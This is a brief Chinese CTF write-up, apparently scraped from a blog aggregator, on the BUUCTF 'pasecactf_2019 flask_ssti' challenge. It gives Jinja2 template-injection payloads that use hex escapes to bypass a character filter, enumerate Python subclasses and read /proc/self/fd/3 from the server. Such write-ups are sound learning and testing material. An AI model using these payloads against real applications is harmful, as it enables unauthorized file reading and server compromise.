buuctf pasecactf_2019]flask_ssti

1.测试存在ssti

buuctf pasecactf_2019]flask_ssti_第1张图片

2.获取类型所属的对象,后面显示被过滤了,看了大佬的文章_'.这三个被过滤了,但可以用十六进制绕过

buuctf pasecactf_2019]flask_ssti_第2张图片

3.寻找基类

buuctf pasecactf_2019]flask_ssti_第3张图片

4.寻找可用引用

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}}

buuctf pasecactf_2019]flask_ssti_第4张图片

5.接下来就是开始一系列利用了(基础不是很好,后面的待填坑)一些大佬的方法:

buuctf pasecactf_2019]flask_ssti_第5张图片

{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}

buuctf pasecactf_2019]flask_ssti_第6张图片

自己的一些总结:使用[]好像可以自动补.号

以下是等价的

{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}

 

参考

https://tiaonmmn.github.io/2019/09/10/PASECACTF-2019-Flask-SSTI/#more

https://www.jianshu.com/p/a736e39c3510

你可能感兴趣的:(buuctf pasecactf_2019]flask_ssti)